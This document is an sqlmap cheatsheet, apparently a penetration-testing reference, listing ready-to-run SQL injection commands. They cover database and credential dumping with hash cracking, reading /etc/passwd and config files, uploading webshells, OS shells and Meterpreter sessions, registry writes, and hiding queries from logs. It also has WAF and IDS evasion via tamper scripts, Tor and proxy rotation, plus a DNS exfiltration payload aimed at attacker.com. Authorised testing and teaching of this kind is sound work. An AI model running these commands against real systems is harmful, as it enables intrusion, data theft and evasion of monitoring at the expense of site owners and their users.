sqlmap cheatsheet

# Single URL (GET param)
sqlmap -u "http://target/page?id=1&cat=news"

# Force-test a specific parameter
sqlmap -u "http://target/page?id=1&cat=news" -p id

# POST data
sqlmap -u "http://target/login" --data="username=admin&password=test"

# Custom delimiter in POST data
sqlmap -u "http://target/" --data="id=1;name=foo" --param-del=";"

# Load raw HTTP request from Burp/ZAP (recommended)
sqlmap -r request.txt

# Parse Burp proxy log (multiple requests)
sqlmap -l burp_proxy.log --scope=".*\.target\.com.*"

# Parse multiple targets from a file (one URL per line)
sqlmap -m targets.txt --batch

# Google dork
sqlmap -g "inurl:index.php?id=" --batch --dbs

# Direct DB connection
sqlmap -d "mysql://root:[email protected]:3306/testdb"

# Config file
sqlmap -c sqlmap.conf

# POST with JSON body (API)
sqlmap -u "http://target/api/item" \
  --data='{"id": 1, "name": "test"}' \
  --headers="Content-Type: application/json"

# PUT/DELETE methods
sqlmap -u "http://target/api/user/1" --method=PUT \
  --data='{"name":"test*"}' \
  --headers="Content-Type: application/json"

# XML/SOAP body
sqlmap -u "http://target/ws" \
  --data='<?xml version="1.0"?><id>1</id>' \
  --headers="Content-Type: text/xml"

# Cookie injection (append * to mark the injectable field)
sqlmap -u "http://target/dashboard" \
  --cookie="session=abc123; userid=5*"

# Header injection
sqlmap -u "http://target/" \
  --headers="X-Auth-Token: FUZZ*\nReferer: http://target/home"

# Anti-CSRF token handling
sqlmap -u "http://target/form" \
  --data="id=1&csrf=TOKEN" \
  --csrf-token="csrf" \
  --csrf-url="http://target/form"

# HTTP Basic / Digest / NTLM auth
sqlmap -u "http://target/admin?id=1" \
  --auth-type=Basic \
  --auth-cred="admin:password"

# Client certificate auth
sqlmap -u "https://target/page?id=1" \
  --auth-file=client.pem

# Force HTTPS
sqlmap -u "http://target/page?id=1" --force-ssl

# Chunked transfer encoding
sqlmap -u "http://target/page?id=1" --chunked

# HTTP parameter pollution
sqlmap -u "http://target/page?id=1" --hpp

# Current context
sqlmap -u "URL" --current-db
sqlmap -u "URL" --current-user
sqlmap -u "URL" --hostname
sqlmap -u "URL" --is-dba
sqlmap -u "URL" --banner

# List all databases
sqlmap -u "URL" --dbs

# List tables in database
sqlmap -u "URL" -D mydb --tables

# List columns in table
sqlmap -u "URL" -D mydb -T users --columns

# Dump specific table
sqlmap -u "URL" -D mydb -T users --dump

# Dump specific columns only
sqlmap -u "URL" -D mydb -T users -C "username,password" --dump

# Dump all accessible data (skip system DBs)
sqlmap -u "URL" --dump-all --exclude-sysdbs

# Full schema enumeration
sqlmap -u "URL" --schema --exclude-sysdbs

# Row count per table
sqlmap -u "URL" -D mydb --count

# Dump with WHERE filter
sqlmap -u "URL" -D mydb -T users --dump \
  --where="id > 100"

# Dump rows 10-20
sqlmap -u "URL" -D mydb -T users --dump \
  --start=10 --stop=20

# Enumerate DBMS users
sqlmap -u "URL" --users

# Dump password hashes (auto-attempts crack)
sqlmap -u "URL" --passwords

# List privileges per user
sqlmap -u "URL" --privileges

# List roles (Oracle)
sqlmap -u "URL" --roles

# Target specific user
sqlmap -u "URL" --privileges -U "webapp_user"

# Search tables matching pattern
sqlmap -u "URL" --search -T user

# Search columns matching pattern
sqlmap -u "URL" --search -C pass

# Search databases matching pattern
sqlmap -u "URL" --search -D admin

# Run arbitrary SQL statement
sqlmap -u "URL" --sql-query="SELECT version()"

# Interactive SQL shell
sqlmap -u "URL" --sql-shell

# Execute SQL from file
sqlmap -u "URL" --sql-file=commands.sql

# Brute-force common table/column names
sqlmap -u "URL" --common-tables
sqlmap -u "URL" --common-columns

# Force MySQL backend
sqlmap -u "URL" --dbms=mysql

# Read arbitrary file (requires FILE privilege)
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-read="/var/www/html/config.php"

# Write webshell (requires FILE privilege + writable dir)
sqlmap -u "URL" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

# Get OS shell via UDF injection
sqlmap -u "URL" --os-shell

# MySQL-specific tamper combo
sqlmap -u "URL" --dbms=mysql \
  --tamper=space2comment,versionedkeywords,randomcase

# Version comments bypass (inline execution)
# Payload example: /*!50000SELECT*/
sqlmap -u "URL" --prefix="/*!50000" --suffix="*/"

# Force MSSQL backend
sqlmap -u "URL" --dbms=mssql

# xp_cmdshell OS command execution
# sqlmap enables it automatically if user is sysadmin
sqlmap -u "URL" --os-cmd="whoami /all"

# Interactive OS shell via xp_cmdshell
sqlmap -u "URL" --os-shell

# Read file via BULK INSERT / OPENROWSET
sqlmap -u "URL" --file-read="C:\\inetpub\\wwwroot\\web.config"

# Windows Registry access
sqlmap -u "URL" --dbms=mssql \
  --reg-read \
  --reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" \
  --reg-value="ProductName"

# Write to registry
sqlmap -u "URL" --dbms=mssql \
  --reg-add \
  --reg-key="HKLM\\Software\\MyApp" \
  --reg-value="Shell" \
  --reg-data="cmd.exe" \
  --reg-type=REG_SZ

# Hide queries from T-SQL logs
sqlmap -u "URL" --dbms=mssql --tamper=sp_password

# Privilege escalation
sqlmap -u "URL" --dbms=mssql --priv-esc

# Force PostgreSQL backend
sqlmap -u "URL" --dbms=postgresql

# OS shell via COPY command (superuser required)
sqlmap -u "URL" --os-shell

# Read file via COPY FROM
# Manual payload: COPY (SELECT '') TO '/tmp/test'

# File write via COPY TO
sqlmap -u "URL" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

# Large Object injection for file read
sqlmap -u "URL" --file-read="/etc/postgresql/pg_hba.conf"

# PostgreSQL stacked queries for DDL
sqlmap -u "URL" --technique=S --dbms=postgresql \
  --sql-query="CREATE OR REPLACE FUNCTION..."

# Force Oracle backend
sqlmap -u "URL" --dbms=oracle

# Enumerate schemas (equivalent of databases)
sqlmap -u "URL" --dbs          # lists schemas
sqlmap -u "URL" -D SYS --tables

# Oracle-specific UNION (needs FROM DUAL)
sqlmap -u "URL" --technique=U \
  --union-from="DUAL"

# UTL_FILE read (requires EXECUTE privilege)
# Manual: SELECT UTL_FILE.GET_LINE(fid) FROM DUAL

# Oracle dunion bypass tamper
sqlmap -u "URL" --dbms=oracle --tamper=dunion,randomcase

# Force SQLite backend
sqlmap -u "URL" --dbms=sqlite

# SQLite has single database, list tables
sqlmap -u "URL" --tables

# SQLite does not support stacked queries normally
sqlmap -u "URL" --technique=BEU --dbms=sqlite

# Dump entire SQLite DB
sqlmap -u "URL" --dump-all

# Read file from server filesystem
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-read="/var/www/html/config.php"
sqlmap -u "URL" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"

# Write local file to server (webshell upload)
sqlmap -u "URL" \
  --file-write="/home/user/shell.php" \
  --file-dest="/var/www/html/uploads/shell.php"

# Use --web-root to auto-detect destination
sqlmap -u "URL" \
  --file-write="shell.php" \
  --web-root="/var/www/html"

# Run single OS command
sqlmap -u "URL" --os-cmd="id"
sqlmap -u "URL" --os-cmd="whoami /all"
sqlmap -u "URL" --os-cmd="net user"

# Interactive pseudo-terminal OS shell
sqlmap -u "URL" --os-shell

# OOB shell: Meterpreter or VNC session
sqlmap -u "URL" --os-pwn

# SMB relay attack (Windows, requires Metasploit)
sqlmap -u "URL" --os-smbrelay

# Stack-based buffer overflow via SQL injection
sqlmap -u "URL" --os-bof

# Privilege escalation (MSSQL token stealing)
sqlmap -u "URL" --priv-esc

# UDF injection (custom shared library)
sqlmap -u "URL" --udf-inject \
  --shared-lib=/tmp/udf.so

Second-order (stored) injection: payload is stored first, then executed when retrieved by a different endpoint.

# Inject into registration form, trigger at profile page
sqlmap -u "http://target/register" \
  --data="username=admin'--&password=test" \
  --second-url="http://target/profile"

# With session cookie (authenticated)
sqlmap -u "http://target/register" \
  --data="username=admin'--&password=test" \
  --cookie="session=abc123" \
  --second-url="http://target/profile" \
  --batch

# Load second-order response from request file
sqlmap -u "http://target/register" \
  --data="username=test&email=*" \
  --second-req=profile_request.txt

# JSON parameter injection
sqlmap -u "http://target/api/search" \
  --data='{"query": "test", "id": 1}' \
  --headers="Content-Type: application/json" \
  -p id --dbs

# Nested JSON object
sqlmap -u "http://target/api/user" \
  --data='{"user":{"id":"1*"}}' \
  --headers="Content-Type: application/json"

# XML / SOAP injection
sqlmap -u "http://target/soap" \
  --data='<request><id>1</id></request>' \
  --headers="Content-Type: application/xml" \
  -p id

# REST URL path injection (use * to mark position)
sqlmap -u "http://target/api/user/1*" --dbs

# GraphQL (inject into variable)
sqlmap -u "http://target/graphql" \
  --data='{"query":"query{user(id:\"1*\"){ name }}"}' \
  --headers="Content-Type: application/json"

# Cookie-based injection
sqlmap -u "http://target/page" \
  --cookie="session=abc; id=5*" \
  -p id --level=2 --dbs

# Auto-detect and test all forms on a page
sqlmap -u "http://target/login" --forms --batch

# Crawl site and test all found injection points
sqlmap -u "http://target/" --crawl=3 --forms --batch \
  --level=3 --risk=2

# Exclude paths from crawl
sqlmap -u "http://target/" --crawl=2 \
  --crawl-exclude="logout|delete"

# Process results scoped to domain
sqlmap -l burp.log --scope=".*target\.com.*" --batch

# Requires control of a DNS server (e.g., Burp Collaborator, interactsh)
sqlmap -u "URL" \
  --technique=Q \
  --dns-domain="yourburp.collaborator.net" \
  --dbs

# DNS exfil is fast and bypasses response-based filtering
# Payload example (MySQL): SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\x'))

# Random User-Agent
sqlmap -u "URL" --random-agent

# Delay between requests (seconds)
sqlmap -u "URL" --delay=2

# Request timeout
sqlmap -u "URL" --timeout=30

# Retry on timeout
sqlmap -u "URL" --retries=5

# Safe URL to interleave (avoid session expiry / IDS patterns)
sqlmap -u "URL" \
  --safe-url="http://target/home" \
  --safe-freq=5

# Route through Burp Suite proxy
sqlmap -u "URL" --proxy="http://127.0.0.1:8080"

# Rotate proxies from file (switch every N requests)
sqlmap -u "URL" \
  --proxy-file=proxies.txt \
  --proxy-freq=3

# Tor network
sqlmap -u "URL" --tor --tor-type=SOCKS5 --check-tor

# Spoof X-Forwarded-For header
sqlmap -u "URL" \
  --headers="X-Forwarded-For: 127.0.0.1"

# Skip URL encoding
sqlmap -u "URL" --skip-urlencode

# Custom payload prefix/suffix (escape existing context)
sqlmap -u "URL" --prefix="'" --suffix="-- -"

# Skip WAF detection heuristic (go straight to payloads)
sqlmap -u "URL" --skip-waf

# Mobile user agent
sqlmap -u "URL" --mobile

# HTTP chunked transfer encoding bypass
sqlmap -u "URL" --chunked

# HTTP parameter pollution
sqlmap -u "URL" --hpp

# List all available tamper scripts
sqlmap --list-tampers

# Apply single tamper
sqlmap -u "URL" --tamper=space2comment

# Chain multiple tampers (applied in order)
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode

# Aggressive WAF bypass combo
sqlmap -u "URL" \
  --tamper=between,randomcase,space2comment,charencode \
  --random-agent --delay=1 --level=3

# ModSecurity bypass (MySQL)
sqlmap -u "URL" --dbms=mysql \
  --tamper=modsecurityversioned,space2comment,randomcase

# MSSQL bypass combo
sqlmap -u "URL" --dbms=mssql \
  --tamper=space2mssqlblank,randomcase,sp_password

# Cloudflare / Lua-Nginx bypass
sqlmap -u "URL" --tamper=luanginx,space2comment,randomcase

# HTTP Basic authentication
sqlmap -u "URL" --auth-type=Basic --auth-cred="user:pass"

# HTTP Digest
sqlmap -u "URL" --auth-type=Digest --auth-cred="user:pass"

# NTLM (Windows domain)
sqlmap -u "URL" --auth-type=NTLM --auth-cred="DOMAIN\\user:pass"

# PKI / client certificate
sqlmap -u "URL" --auth-type=PKI --auth-file=client.pem

# Session cookie (authenticated scan)
sqlmap -u "URL" --cookie="PHPSESSID=abcdef123456"

# Load cookies from Netscape format file
sqlmap -u "URL" --load-cookies=cookies.txt

# Live cookies file (updated by external browser)
sqlmap -u "URL" --live-cookies=cookies.txt

# Drop Set-Cookie responses (keep original session)
sqlmap -u "URL" --drop-set-cookie

# Custom Authorization header
sqlmap -u "URL" --headers="Authorization: Bearer eyJhb..."

# Ignore HTTP error codes (403, 404, 500)
sqlmap -u "URL" --ignore-code=403

# Ignore redirects
sqlmap -u "URL" --ignore-redirects

# Auto-extract CSRF token from response
sqlmap -u "http://target/form" \
  --data="id=1&_token=DUMMY" \
  --csrf-token="_token"

# Fetch token from separate URL before each request
sqlmap -u "http://target/form" \
  --data="id=1&csrf=DUMMY" \
  --csrf-token="csrf" \
  --csrf-url="http://target/get-token" \
  --csrf-method=GET

# Pre-request Python eval for dynamic values
sqlmap -u "http://target/api" \
  --eval="import time; timestamp=str(int(time.time()))" \
  --data="ts=timestamp&id=1"

# Fastest possible scan (risk: high traffic)
sqlmap -u "URL" -o --threads=10 --batch --level=3

# Stealth scan (low-and-slow)
sqlmap -u "URL" --delay=3 --safe-freq=2 \
  --safe-url="http://target/" \
  --random-agent --threads=1

# Smart scan (heuristic-first, no wasted requests)
sqlmap -u "URL" --smart --batch --threads=5

# Save options to config for reuse
sqlmap -u "URL" --batch --save=myconfig.conf

# Load options from config
sqlmap -c myconfig.conf

# Sessions auto-saved to ~/.sqlmap/output/<target>/session.sqlite

# Resume previous session
sqlmap -u "URL" -s ~/.sqlmap/output/target/session.sqlite

# Flush session (restart from scratch)
sqlmap -u "URL" --flush-session

# Fresh queries (ignore cache, re-run queries)
sqlmap -u "URL" --fresh-queries

# Repair unknown/garbled characters in dump
sqlmap -u "URL" --repair

# Purge all sqlmap data
sqlmap --purge

# Pre-define answers to interactive prompts
sqlmap -u "URL" --answers="follow=N,extending=Y"

~/.sqlmap/output/
└── <target-host>/
    ├── session.sqlite       # Cached session state
    ├── log                  # Request/response log
    └── dump/
        └── <database>/
            └── <table>.csv  # Dumped table data

# 1. Detect and list databases
sqlmap -u "http://target/page?id=1" --batch --dbs

# 2. Get current database name
sqlmap -u "http://target/page?id=1" --batch --current-db

# 3. Enumerate tables in target DB
sqlmap -u "http://target/page?id=1" -D targetdb --tables --batch

# 4. Dump the interesting table
sqlmap -u "http://target/page?id=1" -D targetdb -T users --dump --batch
# sqlmap auto-cracks hash fields with dictionary attack

# 5. If DBA: escalate to OS shell or read files
sqlmap -u "http://target/page?id=1" --is-dba --batch
sqlmap -u "http://target/page?id=1" --os-shell --batch

# 1. Capture request in Burp -> Save Item -> req.txt

# 2. Run detection with higher sensitivity
sqlmap -r req.txt --batch --level=3 --risk=2

# 3. Target specific parameter if needed
sqlmap -r req.txt -p username --dbs --batch

# 4. Dump credentials
sqlmap -r req.txt -p username -D app -T users \
  --dump -C "username,password" --batch

# 5. Second-order injection (input here, output elsewhere)
sqlmap -r req.txt --second-url="http://target/profile" --batch

• sqlmap Documentation
• sqlmap GitHub
• PayloadsAllTheThings - SQLi
• HackTricks - SQL Injection
• PortSwigger SQLi Labs

• ffuf (Web fuzzing)
• Web Exploitation Toolkit (Web attack tools)
• Metasploit (Framework)
• Nmap (Network scanning)